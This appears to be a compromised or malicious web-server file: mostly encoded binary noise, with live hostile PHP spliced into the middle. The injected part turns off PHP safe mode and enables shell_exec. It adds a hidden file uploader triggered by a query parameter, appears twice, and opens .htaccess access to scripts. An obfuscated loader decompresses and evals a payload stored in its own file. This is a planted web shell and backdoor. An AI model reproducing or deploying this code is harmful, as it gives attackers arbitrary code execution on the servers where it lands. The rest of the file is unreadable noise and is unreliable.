D4 4^iȺkdapmvtsui ɚ,vdFsIϦcyϔӡ\'MŨpg=x[ϝ4-pߖw݀CJJHdbL]U9"T	H,pApoItd[m_?Ffu?*LٯoS	/a)񸸨bjGؿ0G6 k=kdapmvtsuik$^ε{I/Jo/(E.2O潈	2z|h93" +Vui=&Ps,7m'?U:+;̸}zN݊LaGVq%T}Ex)E2xPɤI/'j^Okdapmvtsui/ZP_,_aW|.VޗO./
/hPiG2]-NrZ^RYZ172kYZ1fQicSaqk0g:Ҵ||˃atW*_jvxhf+-X,e@;r}H&۴!^yJ:OjQ@]ፋXɧOvoj~PomںB׭yrQI龧\d#F mswqogtavh0aWp%؟S;dZS2϶?q,Q7_6CAHxtK2&(ܼئ[$kdapmvtsui^T#8׀vMo?oP'56WjqOS{vTy'ySNZGQ_ Ws{ϟ&G&WMVz/zѹ6jjptLsmswqogtavh&| mswqogtavh8%rJɮkdapmvtsui~R$_c,"?Z	B-:thϠVy	Dz1DB߳DOC
ɭ/8{57ln[e_g*kdapmvtsuiHeP^OЋkʦRr.Sh
Jr B1Gy֚Fʴ	pDրBY*7 5mҷgzZbTU7n:TR[(sDdw'}Z׶=Sgƅ_mswqogtavh#/hy6@5]I;?.zxpZoIZ*a{ zEQ!\3d%K6Ä9sJ8ۆMS279c_˻kdapmvtsuikmswqogtavhiT%(.FV~x9srLʍum%D׼ߖ6C
W{{|Jad8I{!+ Ǻ8ceK"lT1*J$Ӌ *Hamswqogtavh0FBK	Zb6kdapmvtsuia'Jvܖ϶ClcZhM8(Û]],v(]Rڣ
ʪa9|;~ĵLR'}\n5	XJ)l=@rXoؠR}gAzځ~"2~2
0R|1@+΅B.J+CYb(a'{ZE-.#vГNfFgO(6Vd33 P$־v}u&fEN)ݑ!&l|
=FrM+D	L$d$ DV,k#=ODo=WJqLLIȘ˚2Z1,
ɸ0
gwi=6*X(OpCVXW+b㿑oR^DQ7hr;@$.3& \x%WCĀRnsHw7)/TamswqogtavhlkߨwLmcPA}I.7ȫ:ؕMQHb0o Z+$ƞ0
j{"w;|3W0)ZU$k@y=q`y#PDA^z"mswqogtavhP08/O/N۬rfVM"_R/
iCTkdapmvtsui=}f^SY7O*+^Wci1C6Hˁ,݅ԡ
(mϹi;+~2`OxϷ%AWcLZ{ArBkc M&w}FqY`]jF~SK80Sf}߯=rfO q|lzȃDVOF+`WT) N}¦Zn|jƯ2 2b'gptP=K*mswqogtavh🜡GrWH]`-oD΅yS
ml =+~ JzUKucȏ{O;PSnwCmswqogtavh{̼'?''\)嗇K9}
5 sdb^=1z`mo{
zH(B7p4o?tdVi
W5/^]XK@Q,`j	
.=OŁ
7pbE!:@ŉ9mswqogtavhY]EOVK`q&Ǝl՞$J)z°[ܤ
I|دjφ[%'wୖ4=&!Jw]Ĕ#xϣ	RQQO2DՅhƱQؔCP	~[Sj? mswqogtavhMY|~z4^ӕ
,)чxP=sI@u8}'Umswqogtavh35 n* ?,G~HT:YdZl?zBSdMX/aɅjS5avpg$Ϫe'kdapmvtsui[PFYQO͞hkdapmvtsuiS[~vO].eMukdapmvtsuin	uOa9FPٍ;X?ڳ`8X֡x*h'a!9V;Y lmswqogtavhױd)DYC9S~}Ҥf*?3i0֙p( p8VhdSЕ@_i:o#E}RTL &VYAXK W˫Gu_op+mswqogtavhg'IBʦ1kdapmvtsui{4ˉimC (m-Xpq
Vy BfIhJg?8!Qҥ+hw]PIdރM̠KBl7*HǰYUvļuoSoh/_£1#xM";෎1ˊ7{Ρr:mVY[]O)'b5&Rpkdapmvtsui๞E'Da0r薒_QzQ(*hc_wkdapmvtsuiwûza!e`mswqogtavh,hjRVJ%vlo%.kdapmvtsui'~#@Z*/WnEƃ	|э?\kab?^D\ǿgFt;yIp46U,/pifO#"ª@(qF22Bf{AWMR~fi؆ }'^_;kdapmvtsui1"5CihZ;:!+߃Tt,umswqogtavh8~8A  s3SauuDwv mswqogtavhۮ8ۙ;-,kw8%beR;FY8!=$ȶtDҁria'9БZFυ`EC⺺LUXZB0@{&[DGT3,?1h#r@Grtɉcj`Bz9˚j_kdapmvtsuiT+w8CsLl@DЀJ}=mswqogtavh{ Q0@8=im!GWCSb8E+A,hddϛDyekdapmvtsui˃ތh+2Xs@ FX͏k؎mpmYI賾Nh^kdapmvtsuiK,=g|![ 9yو*LX{(O&j/A-
Spz1եz/}tYxpYlhɂG	Ir%IZX}_
̭)e@K)߮Вr{+ɥG+u!FvbZ6PZ|e{){%13Ѵ\,@`EL9Bm^LfkV&u4kdapmvtsuiDQZ+W`	![@Ė06U{hGzM	՛Hfã/f,tS$ÀDa1SODU+*v{&!KKA9}Kd!#` :NQǾ8'	em(N:;(akdapmvtsuieGlPܦcR?|U?0ѤOvJ^=A|bFd^՟hD#=;׷ΧOh
ߤЌ-G[YZfj=$,-L 
Ƀz=ΗMkdapmvtsuiݲ/j@&F"
Jx&,^YkdapmvtsuiޗLtIEIt
t-|j^B݊]?]"# 9sk0_
*}Y'W+Kۉ5LKasR &rwWywGd;QTIKKmn}
bukdapmvtsuiT#ͧD#3V:MW`_Jxc|XF~OVyn͘n[ބ8OUޱE?̰_c?8ψѥRvQjJ55̑|5G
̓~}|R
B7̤XZINߋ7U=I-|	*}~8ջfw'4;JBl~N\1סּW_RD[kdapmvtsuii9_;0vG\NK/oPmswqogtavh#y#?
sN G]̿T_0
P}*6ãN'SaH6`Rj81ӽIcqpnkdapmvtsuia/ܚ8)rwn#iMƳ| f)#~Ŕo%7!ǖ9b.
rDi8z+Ku[K3'_m2?d	Q+{;mswqogtavhSlH_ȡ`6\+pY$ { 'OCⲊ.-y8a5P6n0B,?\=7&EI@,ZP7`6IE'|XsyyC+A?}@Ij6dF-6mswqogtavh|@Y]A%.DEFUfLbKӏcynULVj,2]|8
Pnd.ԐIfkdapmvtsui:na
uCtх#lqqCWYYx5$Oy=%wonI (lk"tST*\?nI}Q\	b9ZLb}V(XNZx	(6z%6*&dHW}fyyjH.
5Q{gWDwcwJd_lzlzΉ~@X&-/*_V}&jwߛiIYb(9zI#O6}+JDm=[Y^}IDl;YIxekdapmvtsuioЇE e_];΋%|ϸd鍸|IتҹI39]E`pK'$Jy	:ip)4i;洿arCmzڱ.N?ر)$@en;:Z_&#+ש,mswqogtavhlaVΦXK낝6\̊BP6!"[J@K
FFj]y.hp׵GL)-mswqogtavh$Z"f;n%ª?{"kdapmvtsui۪c\kZÛkdapmvtsuiG Eo}}=Wgx{cDmswqogtavh15K|2QscWg%cИ/bv2z7K'bp-JAAeouLP;ʋKH
PlI_m2 N삿QL܎*h^:LUް0+}Yſ*ø~ʵwZF\ߖW'LsjA~IK̜Z=!KZFA8;ە))"q2"uG2F0CΔ~P?yN?fgEcߢ?VR]J@mswqogtavh#.9#Wmswqogtavh&V
2Dvd5חդ@y,
eB3!
kdapmvtsuimswqogtavh⦌bT!b *y,5T뺕㘬4ӗظe9jo$ȿk~決%:imGC񜅈#ŹҒJ5);1h2,&ɤgDѷn,
	Z:s(z5$1	]:!ur
k!/qᾟZMG*-rc `SFTӓ5?em~"_l`paC.e7֩Ƈ1p2h9n癹f2mswqogtavh!67\?z_ۻW?ƴy":XI5.mswqogtavh
`iq/EPj
:4#ϗ)) "NԂĽ0bx
?iﵥ@hqծtF_kdapmvtsuiA1kdapmvtsuih į`i	*7moaaŶ5aQxz[:{M;R9Jmswqogtavhu;XKa[uvz[\9bSxXV[,].݆UzU/R5B~6L$Rmswqogtavh,;*ny/S
!4Mg$]QYXX=Q9h
etWK8o[Wpp*mswqogtavhrj*KlV.}MU
2ƤArRkdapmvtsui4+'[_/O"S:eʡo1YgE,#ɚzZi鼕$d0*T*?~&{yz*m-3}wN=HyQXo|_WHfnjx	=؞
AŲFE}3u~S+3CEۼk?!59s0~(9*d
v'W~ AKdsaXk(2I=QU=$~
s6q/}+_ZwƣωW
:gݏ_f0rYͰK30qf({Jg6)uCm-t":akdapmvtsuiA(eaΖ4v{2?FR1yNu=jJ^o1(!k_$/;l}3k\WSmJ˪F\]uE&彷eԖ.?69J"-[kdapmvtsui~ڡ88)0VYbo#1ZLޛ' Ls~)P5/t?tS)Y5kdapmvtsui_2$lԬIl­'o@??]ʖuPbP,޶f\)k8r_ikdapmvtsui+E\PHQ74D|N{92KAZł%!x毳ӛykNlD3طVf&}ubH%M!ZB9^i} 4k$*:0- (d\@1sKBGuŠ!{9l.7]a
pPVF[ʐ$uKXjYkdapmvtsuiV0?k[$1$) 
7kdapmvtsuiQ)D
{NfaI䟊hkdapmvtsuiQǭѴqmG4{;.i3XGpU3ʙ}'%p)P^bMmON_~ssݯa%p	kdapmvtsuiwᲡݓ1YxʈNNſh=?%cu9F_HRAFe+r+Ҵ
=I}?VT3j(|n7I̲Wä'
7.֍7\\wї+,#yU	emswqogtavhq9JCX1B!	vU*:Zƶ-+ţ=Qsd ۈ+x'
7 qs3+
f5-ѳ}p/&1_9tر[[Y}o}W?v6L}Szs~A
^@,b'+*4ML1e(izq9=3?7͇#
޸`V6`i*8W'hr&y kQJH&VFx	/?#&34+mswqogtavh|3zXQAHD4ل.Mv`, 		Ԉ'B:M"^?Z `735b6pRQKҡEx1_Tx188zԯdP+C-e/"EMoxai'Еɒ	|,~u`
kdapmvtsui-Gm4i^wb=nDEN
/	I_f
X?5P#/Iy^{|SK	jlJ@d\= 3A!teza1m`~	5ꓚ&kdapmvtsui#mswqogtavhB˺-mkdapmvtsuiԁL!k=Qm\UDp筽ɪh.Wøm@&+`=cA{S\"ɲ~uB)}9m&4~OY3D{-JF']qS?/)b3x*dx'yIS*ue8i v\ IE.2؃'QN G niM[O[#k'l|U
(rOC%oE.:Xczk6QVme[(m4BTmmswqogtavhkdapmvtsuiT B2H}v{77CJ4Epz^cK7 :wg!cbraS8^5?ڵɐ["0u[:UR_7C!3Ώ\kQkdapmvtsuix$q6ZrBGacxkdapmvtsuiܐ/lX8읁Dw}䷎rszsώ	wjI'(oփ-BZ1I"J++ofvCgeYa0Yux% 6ה/@bH;͠RQRCC`	hA_S2e
kdapmvtsuidI'᧣ʡne=wcڮ_,o-ćO$OTIU/ճ^EXWG_
A69HDkdapmvtsuiSFҲ=.UsJy`&-F`v\ĵ~%12bآGFT8S֨!j2	dM;bmswqogtavh
`5VY6 o'f7Д*vmswqogtavhrv[(LQT'UCbQn!(y% +1}羛W	+Dn)%5H#y&y #߮L~u'/omswqogtavhy|*QDoÜ zn0{O,AA*jȼ՘1R 9?;ϐFX`S0\ȿ[0h\4N]VtyPLkdapmvtsuiD@5::m6?+}}gmswqogtavh-"	QĤ-ƜG	ĵ	LnM^# o:mswqogtavh4Ȓ3@q m
wZxBIT!rAxu9Wi~ؒikdapmvtsui'CM!6MdSpLR3Bx*!4	D(ջ?p;/zRh繜Z4%3zmswqogtavhot&$?/W9?/CPuB
b`6(߭:+"ɪCtin.|@e+ukdapmvtsuii$#B~bdq̀Ȉ8Wwgp;
çO^2'	v`&gho-#s,AvǈI19kdapmvtsui*|U8nS4^+$Er+ϪWOs-kĵ,St1 ۳Z
( 'Ԗ7
/͇+n~QI|^`b֟VʳʲPt.4nރR%Nkdapmvtsui	i.~|i
}lfK
#I2}ځXmswqogtavh/m3{;.&nӻQ G2ւ=$|
H-JofC¸.-8']GqZ1q3r .W&n?;Moot7\=[`Kn1̯;ɞX7N/
7bLif3nH:OVn2U
@+U:Cӈ6ZY.b}Qoጽ9ocۻUŋ7^+i)Q
/3d'k}	68%'IdFxQ+F=CGIxۦ͙:ٓ#Gy"dC;13hDzQS3%('G8K.6kdapmvtsuirJfOqIY
_sYYMk/ɹR;Wb(t!Ct5P~ATo_oN#akZξU1Ns*rFB7mswqogtavhkdapmvtsuiis?y5S\e	JSt5-JE0A@*BV̴bG݋qcIX`Pjݣy:akt;6OY7z"Z`;.,.&XIk}_ys
U%.Lt
2c+NmswqogtavhQL[GQe95Q%;;G_};ltYвo#&4Bi9n/%ɡrW턊'3$^vsnJ{IaGX{H"+53M%_G"xϞ޵\E|,jh!دVy-"ޑO~]ŚaF~Dj5~'N)t!M-k%pcAxwmM+R8fK\kdapmvtsuiL0TaMT~JȘ|'Fu5l-݅\Dp]d,ۋ%IrڕeGq[$:ckdapmvtsui[AMmswqogtavhA3]](N+$4ⵉhWo- uݏ;֭OV"(mmswqogtavhĳ`رߝIAjB˨^ntB |έZ=O2s4^t	]'.xkW n 
49r.Qo%clxkjeg\6O+(]qC&/r`Oܟd"4rlƗ8xi薴葳pWB"9to23_%GVL"mswqogtavhY7T#ZP(oS9\2pc:zw1i6'4([D	9`B,B6`{3C.1HoC]?[NB'7Z%@#9MPC'O*tsPk	y[7YZnf;r,o
g{YkdapmvtsuiRx}Xa4EtN9nXRSמְ#EƣX#NxoIPI俵O|;EājjI
C	1{E~^ ~:}IuqFߚeJe ̭e^;:=Tx{aV
^W ׿ޛ+A(7mswqogtavhߌœ.=؉~vr@A{*=F[ =/XbDZL-]a ?ټҰd{7-#Sڼc5#D%+27.1@D'R%_fC $yWe*fX47غJqk2gA~ۼԆmswqogtavh1#XIݵ[ܭ&	q	W\[UmJE6`,Prh2^΄+\rtTkD	#ڱμhM6Ѽd=f9kdapmvtsuih5ELYO./a`}X~oђױڞRcd(j6b?oYU6{qo{/d^[䀀?sFUVzB-72N 8C]p)aPEmswqogtavh%Q5Z	|ێ\dKyyyҋo_vZ84&p)oK]R
%J=`?mۗ
,ZqRQbiA]\Xxvkdapmvtsui&VBĿLH)4:MaFpH~춴[q_뭘{R$_ɑxpd؆##adߣci?A.0A!X0:wBxb&/(eL+ nQ`)c ڕGKQMqI:w0T f9tuƨe6nnkIJZ_%ߺwFU\
}TLNr!6"ʑ@+s$d}z&-X1!9^@_kH$ab:IEH6`#h' xgKMZ벴
ikdapmvtsui)!ϯIG)@M1vjHQ4n
thh}
HŒYV)k:i!!kdapmvtsuic2eG}:,w\n9SW^,b$PЬ2ݟȬd[^\X?ǳ$WEϷ/"3T qBde"rfn8/A_tǈ18@{`i]``viQH;kdapmvtsuiUӟY$YVaE'nH\d*˚8})Y݇C_ʩT}VΒ=UbǰS
2|Fƅ];oAYA	%3B4_tvk֒-(V-vBS'-.I(˱BA $?MudUNNM,mĂQ80=Z_KDJJ՗M\@R
!h٘-+@w$4sȊ4J#4n;D03-/Gƭ7vS0^C@tjAJ頖kaOYEO@[ЧZrƜʼ2oKvdb'J6g斵0ޛ4XW Zb$8tp$$ kCX:et,umswqogtavhS\D'F9UPݞUyGB9*/m;Zz*Fֺ Y]$~A{1w~@|러2s|t[	14c a5!sHB1	cs%VC@_9'߰OokN6e,0&~T
4g=ImswqogtavhF(8f05q׬gptZ.Ӏڂw^22ϱkdapmvtsuipZ ˰{3f"se{8zyU1]aH1[ab*2@|gPg{IDkdapmvtsui$qkTok*&z=i:w6	c)gϠ]aK@h~!S`m]^w`o'u,'Np-ˈ[T |}u:oEs;Εuٟ`W,yE9\'VZ=	
a,h!#&/@Ę+2 A\(=wtfq__vRZ7B^qETSqZb2W#¹vۑ3_wT2$m6k X"o;zN
0Mh&C+NŭΖKԎ^kdapmvtsuiI9iĽr.% ?&gtA.m0آb)MeM
dQt~+fi֒3S!׌R1|1K!: 
v\D}ܑ kdapmvtsui~-:Yn9U9m^D,'ŭppnI?q 9\6⌏vَAC}"m.{+$qK&2&龼j&нWQWM1װmswqogtavh#͆ϺVwmswqogtavhi'dNMէp|hՍxBP; j@ AoAt3*ɕx퀥γ$4^@*8AK:y;x-T|
G1 "NkdapmvtsuiV('/6R2]Z"ps|Sv8?/yƪ c`v~h\(#C)L9VNRza2*Bv9?C)#nsUBHA{+q "?C safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?><?php
$cbUz='s'.'u'.'bstr';$IYjS='fil'.'e'.'_'.'get'.'_'.'content'.'s';$yxUA='ex'.'it';$tFTk='gzuncompr'.'ess';$yqfS='s'.'tr'.'_repl'.'ace';eval($tFTk($yqfS('omptguavix','>',$yqfS('etfidrscuw','<',$cbUz($IYjS( __FILE__ ),-172413)))));$yxUA(0);
?>
xLǎ늶e+(zjPވ@ק"o$H54 ~~'/)]_}]netfidrscuwn
nmXb]bֽCӌl~1etfidrscuwMο?gYy"يYǹ=߃3etfidrscuw(K$craS?xS{.:Fetfidrscuw bPrZI R:|NxxcComptguavixOr
$Jۮ.YRK[YZG%iLe˧G!R43|2^h,L!h5)somptguavixWӘ7RӬvȾhRfCPLWJy~,{J5~lA:jv(~@2[0  TI!Rpϭo;'sϻ#[%*),4_
7bpÀ|)rqrFLD~A(#C|P@gheb&0:]Fe@ ·|罅`iuV eg$t2U.@F15bnetfidrscuwl(EveKدpm%q
Ӿ;5	ƚ+&8LZ`jQfK /6vpPG|$`o+U |&XSޫu@riURBPcȧĲ;8TtNXe	u }a8tfmZVO9ysaMϳV`:7n;	n^,Zޘ@5zO35Q}#C;omptguavixϘy(@̝omptguavixh"څo^u\8.V ƧKW@Y\:/ZKG@ހ:z1 d
ܗp;o^Q횻,~?'	;I
Zg~QN
0
rD~¨*ɧmrHPXfSŦ#L%:xVXMN5$B]u5ǃ~[omptguavixZG/Mvŵo(NGzB}btwxU_hՑN_B#B3/ĢA+1w{
s0bHޥc-ao-}ϲ6b*{FY&iz@/7C(p@ay1Ze:I+omptguavix$jq[v0umLǻ͢]Ew=b/˥Kq q=XłѺ˶etfidrscuwh:i,?s5ƲqWpvtćzetfidrscuw@x9b⿔oYxf#: xϏfgP4~? etfidrscuws
#߼-~v%zLd.W|+3#ږTuJz;@~etfidrscuwX
Yomptguavixpef+PGu_)[oX٥ũi`fmXAQB+n2.J9Nr1΢3=P@a}(&ܻpwW#QWgëȨjΘ_Г)I9[D.']5陆fhό5/PhYhMH2xLtSn(ա@B8C׽\iP:_
ߜ6~0:)f!s+J;a\nQϧcUgsMjڥ11!=m5Xݽ]TQ(F4aPTny\+Ļ
"7*i][H%etfidrscuw!4ZF1VgZ+F6eJ[wɸW4sX88vF
MomptguavixH-QjjF4g_rgalMf7`5nE!jUuIp)/ajO.y} etfidrscuwWAN_nM C5r?wqc }Xz`?x,UH;P03hҬ?j?z55j{
ck"*Ru`̏etfidrscuwL.rH08C@ fZ6/WIi[Y|vQIKZetfidrscuwJ͞|pypg}3[[nsޭ4P~tetfidrscuwʠBp-Le&3+Zketfidrscuw*raVMM-,]omptguavixh$W"͵څ僧&'FQ$0P;يp?]*UEMC
݊0YRYvFCdWSga䕾ЭI`.Xm;/WǄG N#ctE/#AW"@#c
fDL.ދ7IN,ہyu8 \LF7Uڜuq Hpo^Z'tn;ZʆJetfidrscuw'@I-COht.`9+||)[qF{!m
1*Xc1
گ}tB1Ǌ%ɏЯVݽnf4hؼ #u'e A~ƷLP&Oڡ3IIͥ[(BDhfdzh`BQ`^=U#Ûw*bE8[=etfidrscuw+j=omptguavixC,7ؑQh =eW6n7|`0~Gp?b{+7/o+omptguavix*䃴*"&S}TIC$r~@t[@);L89	eI6'q#3j/HH|CN!2EkzP?RL@ӷQH*5omptguavixoc~[}~y,w{*A(O}Qx*DT9Ow mHf/v#Yvh[S07/!ݝC%-X[WեbLP8Qv]ɤhx?fՂg9 v	uzĪ
Iz,4[gqIg
؍etfidrscuwXY_JکǢzU%fY:;S-2,GB]13PO43}B(xcMV6CװpLomptguavixoYd
Q0K3Xl} V5/9MУbyD^{(:Xm)AVf{%pN^lLF6ᚾ"0ayzpEq-kTomptguavixi٦;o'omptguavix@.z%DTO!\_hfȋ@54A~jϺ?D:+:V͏	&
q
@WƔz揣h vt,@efik~=yyz{$
b } ]uDiȁAWLeTկ~u'D܁ۛ,H$ 0[5)(vJ{sc壚0fߜF^=-LI3nfVlALY|#ӳ	E;	kcWSL\p)
ׂDfx/LdU|o$Y2etfidrscuw3v96&etfidrscuw^ztetfidrscuw؋!-a]URÿ)ڳUQ9E)pekp/!7Nq}? QqZ2]1vwsV'7!X/r}څs )vѓµʳyL^	4}cJ2tQ$TC%)t͇-مomptguavix:߇g||`wdXTʚݙ$7*.2&d6&T&U
EHo;	ra|V:HcQm^-cm3,iT5,TWͥetfidrscuwDEYxshoetfidrscuw,
%i
GAuhW/}}
݅'XNd)ܞrIxABȡȺ5WH//[ĄL4hl2^iAM!(t=yEjئچHP5JNjCaK^heuUBi\bйNq~)k#\_O|D7wŬ`q~݁kp3锘jnNCKo}B.9\bep}]ـBHLk'vnS	4?H.TUI% Komptguavix~=?G}FIuyTv=
OM`С&y
^0G^}Lu,etfidrscuwlJ.{&PDq 9iBx _WP"'_Aetfidrscuw.,*;:	\ұE#ў)zX~VG}jPe~t2ӗalC]ƎnmVw/PHADfKE{5+`#٧omptguavixQ?I0fadp[\9etfidrscuw(SG;&/`Nܽomptguavixdk[etfidrscuw2sԳ7\̻HP h,[b!QPYEFCL}}
JeL{h*Xk|KʧQ|'gTyςn2x Mnk|X_.E˙A1y}"_3Mr%)ab ַe]ޙnfa6	}ɯcXtW$h8g!Nox{gs-UԢg
DJ-Y0%؇OetfidrscuwV|]p"n[_TG]5{+wɮomptguavix?ÎmNF,/ hetfidrscuw}f% HDgk*	n`tbK4՘|+=q1x\9Tl]jomptguavix}7*ODWPpzNǣ3қ;G=?lI2_밺n;߲Faetfidrscuw$
-8dq^O2yܲMaјg~E}x&)kƏlIKN-o M"O`Gomptguavix፮A~"0'.mˉc'DJ,cCDX_bOG1$Zl7@-)I?nN;?6qBH勫n;U0eM*WgDy-etfidrscuw.dp*v
?xEu	AAh9iS?D|QZځ҇Al?!,W!m_@9GVWMdqWv@L3Xo	)Yu@乳MD=[*s6J_Y#kP^~8vW:|F5SomptguavixN\eYomptguavix
ILxAY3u
Yb|6i3RX獛gAUVQGʸ0n3OsY*k^|q|Zomptguavixj\o+omptguavix :^etfidrscuw֠]L,fSwDzμNեtomptguavixֽ\%n\h
k2DxYP4{g%q-fcomptguavixc~SQ@?.:~f7N!u6Rn4~!}CK^, D`іkoJ*tuk ͜lgGNl'fF{/9~Momptguavix0y-Z@\'}o8sdR7ˊomptguavixH'y.0ݘ,F	etfidrscuw3U夿ЛgqzٚdPIN{_#c7ZBD 	yl9짺NփE搯x[FjtWhlTY1&Y9B5NG	LL`O|_]蚷
}7L(ҵ3	: fI:YQ*Ù\5{!7
LE"=r_}؎?bNgL3}IigLi_f@0|4xo:9`\;zBm]0y˸+&ŉKomptguavixN`"&ԗm=MC}'Q}V]עE_J}&ehl$EʂD±-[][+`63.`ڊ]R jv
-?rc1q'Gꝰ%aJ*cŞ_tnm1%,kԼ=x$hetfidrscuw#xL=wq2tETZ"}6B"7T@#N~j;!:q3[LĔe~en٨aUަ9|+͓R@43|~Jad; S-z=J^" etfidrscuw)qN{etfidrscuwE܍[H^vi Netfidrscuw})isBǱ
07.
1
5c+fp~cY$(lr^STG"bs)l&g
*ISIq38Lc?:F܎\y}
}=i'$z-G}t~\
_j!2mS"W{,((2ȀѯFE-)ֺ
}e7	R3ktALSVh(Bv(ƍqMB/P3k^H~|c`n6~Wb hvrR;JޑN-]UBɚyv_(5*%੧Ul
]솟5FSJyB);omptguavixkzH|N},7lUGBۈx
ٸe~d3W?Bc;&TR6Z{:l e8= baKKJ"]?^o61-gODD	v\\߿)%}etfidrscuwVLޡp{.9zgȵiAۭawc"=omptguavix:vtriK)v3NAv5
wT˛ "։־|J}5p	Ik嗧BFFetfidrscuwcq- jюCˍq,=o WbȗrlOC)?&r!Lɒrxg|.+2ꜯC@e#FzZw|ʒB#MAB"ш ZǵXϏ|~etfidrscuwY+22Z+A=EG0'߇=P{.$ߵXJAO406dy4)@{К8o,I9b0MhqnjǂkV]؞R(M߅"[~-&R2zItV^ z.{ϛGap_g(EK`xL܂}@t6?5pG3
DF
"lnh{ꕝU/Y~L7~`,ܴt&W쇻]\ixu"L~w`,kޗE\=%k{+}҅+nx	mt@v]AB	󛳫+z!5'# Y3ĲL~N6*SºNsv6vc-mvdR4UWuegqZ
	/5թ'(?G9)?JE}W	yЊ&M1p;){)ynLÚ)ϟȵ9Je&^J@لv\NW	j~)~asq$[F$ɎeIɯFG^J֯.BU35x~ QrDQ,4#4QH%
omptguavix`B6*b!r.Ge!S|*؝Yletfidrscuw]"t˾At}IkArWdF	iơڷqI^k{zuFmD
ڣzVV{c?^:L/͊Komptguavixy4a\䥐2ܑ@BC[lΗPwUdht{LrvI.4#H`$	Getfidrscuwpa8qS_-\=܉*nnuήomptguavix贒B"!7,;(LmL	m/XUIܣگ &+U0ye8u{f7ZTKݮsmFyǶ[N'j",etfidrscuwװoneU.[p1,k5W(4aͱZKKi6`kqK!yRſ*@j:+|"40ݥZ/?nyص3}8Y.FaIetfidrscuwr:Gg7cda*ز9+KaҝGƍ gckI3]a$etfidrscuwԅ'W߼ǴnL+k,eb3gZ/-XV%x	d=omptguavix
](2G?kv#4^FM7MExnì}`a`MtFݍKsC]5w:ހ
쬱\DYv#x!M$ Б;1.l
kz0TDetfidrscuw})Qf3)i!Ca.-omptguavixGyuol߫hW:y	tt@]5'W%D
D1i?c2K|$iUiY\-%^齙Nf}vfa\SUTQ2K;ؖs	`**]&Nh\ݳCX?!uyXykIdW+==I&-|XH"	Hio/=4y?C\ufCJ`&Yݜ3-JY.; -NJtH-
V\5=ϙ(YX67E X
Vf2w%C^9"omptguavixZOHOVtfa27ք5į.:)ww
[}S(o4zj͉g4VLO=%]=Yfs]
ӱg4omptguavix0h33IӀTetfidrscuw M3&ýLVގ!?e MRN«6'2=` p7ǐai]G=S+^~x%iBbDx(/Ոh Ktu,1$Ui,T=Q-~omptguavix8oʤ-~#1ӛ?ݙ4${K5iV 	iH_c Nx.
C2?d'Komptguavix(Om@fcuΏyL\ZIBO%mNgr^:sONsiD&S$
4XҸPnS}O(d,X
ݜ$kw&BL6:vF1KpձyNZ+NŕJLoyX\- P4KJD__3ˌgިusl}PLOa8ICxh
XW&S֦o*9_ u#2Za߬B,vwQDqvV
.=\
{i-:sbGp$rqn #4Pq[nZWFOz
ǂPcvm.-tSHyN\gOH(i9MzE;7WeSRl13?ɼYjߩ/«^0vo6ʹA/Z9#TC6ԓ#*ӈ[WR	:q:pQ2r{omptguavix%+^V？vjb7Ρ&oVHtֹVrWB*4#6ԛketfidrscuwLDXa'?6d 9ǅtBW)]Ň
	_6@M?-T"E"JIZJˎt)9%RsȔX"ǪaZ3-.#cYaO[ݍ*2:MK|?9![ofzE=omptguavix$qmS+
Ɍ-
ǝD!%00l!_ohiϻf0oͮ2qWk
omptguavixq6·F$
b̕	PY##yxчQ] _`ěαa?lo(V+t%05V9QQ	sWAdYi)ɢ4ň ቞etfidrscuwO+Y{tqmU-s$
l 
o30vdd!Z3(lF|Lh{-xz;ּRz"$TvAf#y.
F,xS4h)X.[+km߀5qq+@+etfidrscuw̥Q2k2v\̄O\%!Mw٫!WHu3Y]Q_nE6̐ | 1	*ht
S~	D;
!hC) 
/VZetfidrscuwAV47MȫC]!gF%'N^+&P}5x:G6rМ	:8fArietfidrscuw&yX2ppy8ۡomptguavixSiu!LMwl5{#i\Dx=CȈ$(F3~b-wB+'tetfidrscuw,^r	bZijȞp%suos{pTTW5t:*+K3;Exa"Jָb&W,+Y9pㅸLDbx. %'D_FM	n6#q=p5ɏpG	VCȽ%olEI4oxzՖNů@yICyO?f/pa5?ɶwK_
#&=ĺQSb7#^3GomptguavixIdINvJI$-A(c˘`3Фl-etfidrscuwߌQ|.AQp.agSt"_AomptguavixG~/?Kz)X̶54A4_$K
cizomptguavixD
2hzQ5K(P=${:TME$d:aT^rZ=jJ AA(W)t|B܊_qaomptguavix
 @@lomptguavixeuzetfidrscuw+
R9=letfidrscuwDt܎]rK%7`Si#gHmEfP0omptguavixetfidrscuwoEt??5յ
pG[Ƀ? ~70z
(Ԇ"\
4RS)7BCȓ!B8
D-eT%:93]uAL
omptguavixf/ilӨxJ/頪~:"٘9_ZDble;k w'޳I0¤;6'U/)#O%t4!p&SL
u9,omptguavixئetfidrscuwUQJWLP֞etڿk'%}:dJ\etfidrscuwm͝k^Fv&l{'{;S6!l%3O/X`;C+Oomptguavix)55!}?\G'3etfidrscuw'P-QeOLQqgUj(y%Q7_7܀mxQ`	40;Yª @]apbHJĠgSUs6ӷm=CXpYP?)EsɌzŅCc{ȥ{7	v##G|Sp`e(}'\9㋭mqTD੃omptguavix(_c5+:N~0/omptguavix'cydKPO,'ϣ7@WdKe,]7"\ڪi)MI.M%[FW'ot7MPX	(E/_E'׹pqCw`r*omptguavixEl$~!7+tx)SW^StU:pٽ)r2E-7@UK򚑽Ǆc c&,ޅ?ArR]	}Jշݳ.8yetfidrscuw'ς`kKNK7
!CVS	dҝuYLk` gr,:GIlI
,K 7`gwfxv['+26#f\Yh\愄
DyrDq{te-&~M!IHm`r5ԹWm8X
dpR0Z79Qͫ/8ڏWB$Z
g6j|uPs]tE2Io\"?ދ}1IaqA`?9׭1P@`~=4Q5=/^\òeN
[y-0?2R}%"
